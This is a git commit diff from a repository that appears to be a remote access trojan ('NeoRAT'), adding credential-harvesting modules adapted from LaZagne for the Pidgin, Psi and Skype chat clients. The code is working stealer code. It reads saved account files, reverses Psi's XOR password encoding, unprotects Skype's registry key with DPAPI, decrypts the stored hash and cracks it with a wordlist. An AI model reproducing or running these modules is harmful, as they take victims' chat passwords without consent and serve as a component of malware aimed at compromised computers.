summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/chats
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
commit20dbeb2f38684c65ff0a4b99012c161295708e88 (patch)
treea5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/chats
NeoRATHEADmain
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/chats')
-rw-r--r--foreign/client_handling/lazagne/softwares/chats/__init__.py0
-rw-r--r--foreign/client_handling/lazagne/softwares/chats/pidgin.py28
-rw-r--r--foreign/client_handling/lazagne/softwares/chats/psi.py64
-rw-r--r--foreign/client_handling/lazagne/softwares/chats/skype.py144
4 files changed, 236 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/chats/__init__.py b/foreign/client_handling/lazagne/softwares/chats/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/__init__.py
diff --git a/foreign/client_handling/lazagne/softwares/chats/pidgin.py b/foreign/client_handling/lazagne/softwares/chats/pidgin.py
new file mode 100644
index 0000000..072a76d
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/pidgin.py
@@ -0,0 +1,28 @@
+# -*- coding: utf-8 -*-
+import os
+from xml.etree.cElementTree import ElementTree
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+
+class Pidgin(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'pidgin', 'chats')
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml')
+ if os.path.exists(path):
+ tree = ElementTree(file=path)
+ root = tree.getroot()
+ pwd_found = []
+
+ for account in root.findall('account'):
+ name = account.find('name')
+ password = account.find('password')
+ if all((name, password)):
+ pwd_found.append({
+ 'Login': name.text,
+ 'Password': password.text
+ })
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/chats/psi.py b/foreign/client_handling/lazagne/softwares/chats/psi.py
new file mode 100644
index 0000000..a2afdd7
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/psi.py
@@ -0,0 +1,64 @@
+# -*- coding: utf-8 -*-
+import os
+from xml.etree.cElementTree import ElementTree
+from glob import glob
+from itertools import cycle
+
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+
+class PSI(ModuleInfo):
+ def __init__(self):
+ self.pwd_found = []
+
+ ModuleInfo.__init__(self, 'psi-im', 'chats')
+
+ def get_profiles_files(self):
+ _dirs = (
+ u'psi\\profiles\\*\\accounts.xml',
+ u'psi+\\profiles\\*\\accounts.xml',
+ )
+
+ for one_dir in _dirs:
+ _path = os.path.join(constant.profile['APPDATA'], one_dir)
+ accs_files = glob(_path)
+ for one_file in accs_files:
+ yield one_file
+
+ # Thanks to https://github.com/jose1711/psi-im-decrypt
+ def decode_password(self, password, jid):
+ result = ''
+ jid = cycle(jid)
+ for n1 in range(0, len(password), 4):
+ x = int(password[n1:n1 + 4], 16)
+ result += chr(x ^ char_to_int(next(jid)))
+
+ return result
+
+ def process_one_file(self, _path):
+ root = ElementTree(file=_path).getroot()
+
+ for item in root:
+ if item.tag == '{http://psi-im.org/options}accounts':
+ for acc in item:
+ values = {}
+
+ for x in acc:
+ if x.tag == '{http://psi-im.org/options}jid':
+ values['Login'] = x.text
+
+ elif x.tag == '{http://psi-im.org/options}password':
+ values['Password'] = x.text
+
+ values['Password'] = self.decode_password(values['Password'], values['Login'])
+
+ if values:
+ self.pwd_found.append(values)
+
+ def run(self):
+ for one_file in self.get_profiles_files():
+ self.process_one_file(one_file)
+
+ return self.pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/chats/skype.py b/foreign/client_handling/lazagne/softwares/chats/skype.py
new file mode 100644
index 0000000..7970c7b
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/chats/skype.py
@@ -0,0 +1,144 @@
+# -*- coding: utf-8 -*-
+import binascii
+import hashlib
+import os
+import struct
+from xml.etree.cElementTree import ElementTree
+
+import foreign.client_handling.lazagne.config.winstructure as win
+from foreign.client_handling.lazagne.config.constant import constant
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.dico import get_dic
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+
+try:
+ import _winreg as winreg
+except ImportError:
+ import winreg
+
+
+class Skype(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'skype', 'chats', winapi_used=True)
+
+ self.pwd_found = []
+
+ def aes_encrypt(self, message, passphrase):
+ iv = '\x00' * 16
+ aes = AESModeOfOperationCBC(passphrase, iv=iv)
+ return aes.encrypt(message)
+
+ # get value used to build the salt
+ def get_regkey(self):
+ try:
+ key_path = 'Software\\Skype\\ProtectedStorage'
+ try:
+ hkey = win.OpenKey(win.HKEY_CURRENT_USER, key_path)
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ # num = winreg.QueryInfoKey(hkey)[1]
+ k = winreg.EnumValue(hkey, 0)[1]
+ return win.Win32CryptUnprotectData(k, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi)
+ except Exception as e:
+ self.debug(str(e))
+ return False
+
+ # get hash from foreign.client_handling.lazagne.configuration file
+ def get_hash_credential(self, xml_file):
+ tree = ElementTree(file=xml_file)
+ encrypted_hash = tree.find('Lib/Account/Credentials3')
+ if encrypted_hash is not None:
+ return encrypted_hash.text
+ else:
+ return False
+
+ # decrypt hash to get the md5 to bruteforce
+ def get_md5_hash(self, enc_hex, key):
+ # convert hash from hex to binary
+ enc_binary = binascii.unhexlify(enc_hex)
+
+ # retrieve the salt
+ salt = hashlib.sha1('\x00\x00\x00\x00' + key).digest() + hashlib.sha1('\x00\x00\x00\x01' + key).digest()
+
+ # encrypt value used with the XOR operation
+ aes_key = self.aes_encrypt(struct.pack('I', 0) * 4, salt[0:32])[0:16]
+
+ # XOR operation
+ decrypted = []
+ for d in range(16):
+ decrypted.append(struct.unpack('B', enc_binary[d])[0] ^ struct.unpack('B', aes_key[d])[0])
+
+ # cast the result byte
+ tmp = ''
+ for dec in decrypted:
+ tmp = tmp + struct.pack(">I", dec).strip('\x00')
+
+ # byte to hex
+ return binascii.hexlify(tmp)
+
+ def dictionary_attack(self, login, md5):
+ wordlist = constant.password_found + get_dic()
+ for word in wordlist:
+ hash_ = hashlib.md5('%s\nskyper\n%s' % (login, word)).hexdigest()
+ if hash_ == md5:
+ return word
+ return False
+
+ def get_username(self, path):
+ xml_file = os.path.join(path, u'shared.xml')
+ if os.path.exists(xml_file):
+ tree = ElementTree(file=xml_file)
+ username = tree.find('Lib/Account/Default')
+ try:
+ return win.string_to_unicode(username.text)
+ except Exception:
+ pass
+ return False
+
+ def get_info(self, key, username, path):
+ if os.path.exists(os.path.join(path, u'config.xml')):
+ values = {}
+
+ try:
+ values['Login'] = username
+
+ # get encrypted hash from the config file
+ enc_hex = self.get_hash_credential(os.path.join(path, u'config.xml'))
+
+ if not enc_hex:
+ self.warning(u'No credential stored on the config.xml file.')
+ else:
+ # decrypt the hash to get the md5 to brue force
+ values['Hash'] = self.get_md5_hash(enc_hex, key)
+ values['Pattern to bruteforce using md5'] = win.string_to_unicode(values['Login']) + u'\\nskyper\\n<password>'
+
+ # Try a dictionary attack on the hash
+ password = self.dictionary_attack(values['Login'], values['Hash'])
+ if password:
+ values['Password'] = password
+
+ self.pwd_found.append(values)
+ except Exception as e:
+ self.debug(str(e))
+
+ def run(self):
+ path = os.path.join(constant.profile['APPDATA'], u'Skype')
+ if os.path.exists(path):
+ # retrieve the key used to build the salt
+ key = self.get_regkey()
+ if not key:
+ self.error(u'The salt has not been retrieved')
+ else:
+ username = self.get_username(path)
+ if username:
+ d = os.path.join(path, username)
+ if os.path.exists(d):
+ self.get_info(key, username, d)
+
+ if not self.pwd_found:
+ for d in os.listdir(path):
+ self.get_info(key, d, os.path.join(path, d))
+
+ return self.pwd_found